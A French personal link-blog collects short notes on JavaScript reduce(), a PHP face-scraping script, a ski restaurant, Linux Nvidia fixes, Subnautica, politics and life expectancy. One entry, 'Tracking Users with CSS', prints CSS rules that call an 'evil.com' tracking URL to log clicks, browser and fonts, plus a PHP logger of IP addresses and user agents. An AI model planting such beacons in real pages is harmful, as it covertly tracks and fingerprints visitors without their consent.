Focus : javaScript Reduce()

Je ne connaissais pas reduce() en js.


var arr = [10, 20 ,30, 91, 45, 70] 

var laPlusgrosse = arr.reduce(function(acc, curr){ return Math.max(acc, curr) }, 0)

console.log(laPlusgrosse)

Bon à savoir

(Image JPEG, 1024 × 1024 pixels) - Redimensionnée (99%)

Pour récupérer une banque de visages qui n'existent pas pour vos applis, par exemple:




    $nb=count(glob('*.jpg'));
    if (!empty($_GET['nb'])){
        $_GET['nb']=intval($_GET['nb']);
    }else{
        $_GET['nb']=5;
    }
for ($i=0;$i<=$_GET['nb'];$i++){
    $pic=file_get_contents('https://thispersondoesnotexist.com/');
    file_put_contents('face'.($nb+$i).'.jpg', $pic);
}

// localhost/TEST/personsBank/?nb=100




(pour moi, c'est en cours )

Adresse: La Savoyarde, au Praz de Lys

Je précise de suite, ce n'est pas un article sponsorisé

Pendant ma semaine au ski, veinard que je suis, le temps a été superbe, la neige parfaite et le wifi absent...

On a appris en arrivant que la Savoyarde, le resto en dessous de l'appart, avait été repris depuis décembre et que ça valait vraiment le coup d'y aller. J'y suis allé. Ben c'est vrai.

La suite en détails., c'est par là ↴

(...)

Une page se tourne | Green Effect

«Mais je sais simplement que je n'arrive plus à vouloir changer le monde derrière mon écran d'ordinateur, le cul au chaud vissé sur une chaise.»

Et voilà ! Et voilà !
Je me barre une semaine en déco totale, je reviens et c'est le merdier !
Pars pas copain !

Je trouve que tu es très courageux de te retrousser les manches et d'agir concrètement pour plus d'humanité.
Au passage, Calais, c'est pas un peu loin de chez toi ?

Je t'envoie plein d'amitié pour cette nouvelle direction.



Active graphics card Unknown after upgrade to Linux Mint 18 - Unix & Linux Stack Exchange

Si vous avez plusieurs moniteurs sous linux mint et qu'un beau jour, il n'y en a qu'un qui s'allume et qu'il est marqué comme inconnu, c'est peut-être votre pilote Nvidia qui a chié dans la colle.



sudo apt-get purge bumblebee*
sudo apt-get purge bbswitch*
sudo apt-get purge nvidia*
sudo apt-get --purge autoremove


Redémarrez pis voilà.

De rien

Liste à puce des raisons pour lesquelles vous devez arrêter de dire « tiret du 6 » ou « tiret du 8 » - Tech - Numerama

Les jeunes n’ont jamais vu un clavier physique Windows Azerty de leur vie à part sur les vieux Compaq de la salle de technologies du collège : pensez-y

Amen



Subnautica, moi, je dis, il est bien.

En ce moment, je joue à subnautica et je dois bien admettre que j'adore m'y plonger

alt

Il y a pléthore de tests, d'avis etc sur le jeu, donc je me contenterai juste de dire pourquoi il me semble aussi bien:

  1. Il est beau: non, mais vraiment beau. Pas dans le sens hyperréaliste qu'on a l'impression d'être mouillé quand on joue, mais beau comme coloré et poétique... à mon sens, un jeu n'a pas à être photoréaliste, il doit faire marcher l'imagination... et là, c'est jackpot. Les créatures sont belles, recherchées, souvent mignonnes (à part ces saloperies d'araignées à 4 pattes inspirées à n'en pas douter d'Half life), l'ambiance sonore est magnifique... que du bon.
  2. Il est globalement non violent: ici, pas de tchac tchac poutm poum, pas de gros motherfucking guns, pas d'explosifs... il y a très peu d'armes et elles sont non létales pour la plupart des créatures.
  3. la difficulté est très bien dosée: on ne se décourage jamais mais on apprend à être prudent quand même.
  4. le monde n'est pas foncièrement agressif - bonne leçon de vie - mais il ne vous pardonnera jamais certaines erreurs.
  5. Vous sentez que jamais vous n'êtes chez vous: on n'a pas une mentalité de conquérant, mais de survivant, et ça, ben j'aime.
  6. la progression est très bien dosée aussi: le système de blueprints n'est pas nouveau, mais la façon de se les procurer est originale et vous pousse à fouiller les épaves dans l'espoir de trouver toutes les pièces. On voit de plus que la progression technologique est très bien pensée: le joueur est rarement bloqué dans ses découvertes mais on entretient l'envie de trouver des nouvelles choses.
  7. il y a des cheatcodes simples: si, si, je mets ça dans les points positifs et j'explique. Quand on a peu de temps pour jouer, ça fait parfois chmir de se retaper trois bornes à la nage pour miner deux diamants où tout paumer parce qu'on s'est fait buter sans avoir sauvegardé. Dans ce cas, F3, Entrée et hop, on a une série de commandes pour se sortir de la mouise et ne pas perdre des heures de jeu. Bien entendu, je déconseille d'utiliser les cheats pour débloquer des trucs qu'on n'a pas découvert... ça démolit l'intérêt du jeu.
  8. il y a un mode créatif, comme dans minecraft... ajouté au fait que c'est non violent par principe, ça fait un excellent jeu pour des petits (mon môme de huit ans adore !)
  9. ça a beau être openworld, il y a quand-même un scénar. Discret, logique, pas trop directif et bien mené.
  10. c'est un jeu calme...
  11. j'adore qu'on me souhaite la bienvenue en m'appelant «cap'tain». Oui.
  12. le système de craft est bien pensé aussi: on a besoin d'appareils différents selon ce qu'on doit réaliser: un pour les ingrédients et petits objets quotidiens, un pour améliorer les objets, un pour les véhicules, un pour les meubles/bâtiments... ça a l'air compliqué, mais en fait c'est logique et ça évite les menus surchargés dans une seule interface
  13. le crafting des bâtiments/objets est simplifié pour que ce soit un plaisir de construire (ici, on est loin du cauchemar du craft à la Fallout 4 ). Les éléments qui doivent se connecter se connectent pis c'est marre.
  14. les commandes sont simples et bien pensées: les mêmes boutons produisent les mêmes actions. point.
  15. les véhicules sont chouettes et le mode de pilotage est différent si c'est un petit véhicule ou un gros. Je vous laisse découvrir mais ça m'amène au dernier point
  16. il y a une excellent immersion -re gag- dans ce jeu: le pilotage du gros submersible est juste... parfait.

Si vous avez des envies de commentaire, c'est par là...

Quand Bernard Henri Lévy, invité par la Radio Télévision Suisse, se fait satelliser en direct - Le bazar de mydjey

« Monsieur Lévy, j'ai juste une recommandation à vous faire, vous vous cherchez une stature de sauveur, de rédempteur.
Mais enfilez un gilet jaune, vous voulez combattre la dictature, enfilez un gilet jaune.
Allez prendre la tête d'une vraie manifestation, où on vous tirera dessus à balles réelles, fussent-elles en caoutchouc, vous ne risquerez que de perdre un œil. Et à ce moment là vous rentrerez enfin dans l'histoire comme vous rêvez de le faire, parce que jusqu'ici vous n'avez pu prendre que des tartes à la crème. »

Hashtag dansTaGueule



LES FOULARDS ROUGES : LA VRAIE FOULE HAINEUSE - YouTube

J'ai même pas eu la patience de regarder jusqu'au bout...
C'est à mon sens le problème d'arborer un «uniforme» de lutte: les connards s'en servent pour venir te faire chier quand t'es tout seul.

Après, la France compte une grosse partie de réacs...
surprise

Que les privilégiés :

  • s'accrochent à leurs privilèges,
  • veuillent obliger les opprimés à ne s'exprimer que selon les règles d'un jeu qui porte au pouvoir ceux qui maintiennent ces privilèges,
  • expliquent aux opprimés comment ils doivent lutter
  • et soient favorables à l'usage de la force quand c'est pour maintenir un «ordre public» de caste mais pas quand c'est dans le cadre de la lutte,

je ne vois pas en quoi c'est nouveau.

«la démocratie c'est dans les urnes, pas dans la rue !»
T'as raison vieux con suffisant: avec cette façon de penser, t'aurais pas de démocratie du tout pauvre tâche: t'aurais un roi tout puissant qui aurait droit de vie et de mort sur toi et ta famille... heureusement qu'il y en a qui sont allés gueuler dans la rue, à une époque, non ?!
Ceci dit, au 18ème siècle, tu aurais sans doute été du côté de la royauté, servile et réactionnaire comme tu l'es.



« De toute façon, avant, on mourait à 30 ans… » - Le bazar de mydjey

Très intéressant. Toute la croyance en la légende selon laquelle «avant on mourait à 30 ans» vient du fait qu'on ne prend en compte que la moyenne de mortalité: comme ça prend en compte une très importante mortalité infantile, la moyenne baisse. De plus, on confond l'espérance de vie (cette moyenne) et la longévité (l'âge jusqu' auquel on a des chances d'arriver à partir du moment où on a survécu à l'enfance).

Donc, l'espérance de vie est bien passée de 35 ans à 85 ans mais le pic de mortalité au grand âge n'a avancé que de 10 ans. On n'a donc jamais été «vieux» à 35 ans.

C'est à mon sens ce qu'il faut retenir car quand les gens disent « De toute façon, avant, on mourait à 30 ans… », ils sous-entendent qu'on vieillissait plus vite qu'aujourd'hui, ce qui est donc factuellement faux.

Ci-joint la capture d'écran du thread.

(...)

Tracking Users with CSS

Holy Fuck...
C'est pas con du tout: pister les clicks des visiteurs via css:



#link:active::after {
content: url("https://evil.com/track?action=link_clicked");
}

Et hop, côté serveur, tu récupères tout bien comme tu veux.




session_start();

// Prints the time that the script ran
print("Timestamp: " . time());

// Prints the action specified by the action parameter (in this case, "link_clicked")
print("Action: " . $_REQUEST['action']);

// Prints the user's IP address
print("IP Address: " . $_SERVER['REMOTE_ADDR']);

// Prints the user's browser agent
print("User Agent: " . $_SERVER['HTTP_USER_AGENT']);
?>




Et c'est pas tout !

On peut détecter le navigateur:



@supports (-webkit-appearance:none) and (not (-ms-ime-align:auto)){
#chrome_detect::after {
content: url("https://evil.com/track?action=browser_chrome");
}
}




ou même l'OS:



// stylesheet.css
@font-face {
font-family: Font1;
src: url("https://evil.com/track?action=font1");
}

#font_detection {
font-family: Calibri, Font1;
}

<!-- page.html -->
<div id="font_detection">test</div>







"Franck Dubosc ne soutient que lui même !" Jérémy Ferrari - Les Incorrectibles

Plus ça va, plus j'aime bien Jérémy Ferrari.
Déjà, son spectacle précédent m'avait plu...

Là en gros:

  1. il soutient les mouvements qui vont vers plus de liberté et de justice,
  2. il revendique le droit de ne pas donner son avis sans savoir ou s'être correctement informé,
  3. il refuse de suivre les autres aveuglément,
  4. il refuse d'être un comique pour privilégiés,
  5. il n'hésite pas à dire aux privilégiés qu'ils le sont...

    Je n'ai pas regardé toute l'émission (vu que juste pour 11 minutes j'ai déjà été interrompu six fois...)

De Lubuntu à Kubuntu et autres réflexions – Le blog de Cyrille BORNE

Il y a un vaste mensonge qu’il faudra régler de façon collective, c’est la notion de distribution pour vieux PC ou de distribution légère. Il est évident qu’une slitaz sera plus adaptée à une vieille machine qu’une Ubuntu, mais on oublie tout simplement l’usage. À partir du moment où tu lances ton navigateur moderne c’est-à-dire Firefox ou Chrome, la machine ancienne n’existe plus, car elle ne tourne plus, écrasée sous la masse de gigas de RAM que réclame la navigation en 2019.
[...] quand on vous conseille de vous orienter vers un DE plutôt qu’un autre pour une question de légèreté, souvenez-vous que ce n’est qu’une question d’esthétique, une fois que vous avez lancé le navigateur, vous êtes tous égaux devant allocine.


Cyrille Borne, 2019



Tout-à-fait d'accord... à tel point qu'un système qui ne consisterait qu'en un navigateur serait amplement suffisant (hein ?! mais non, j'ai pas parlé de FirefoxOS )

Fil RSS des articles de cette catégorie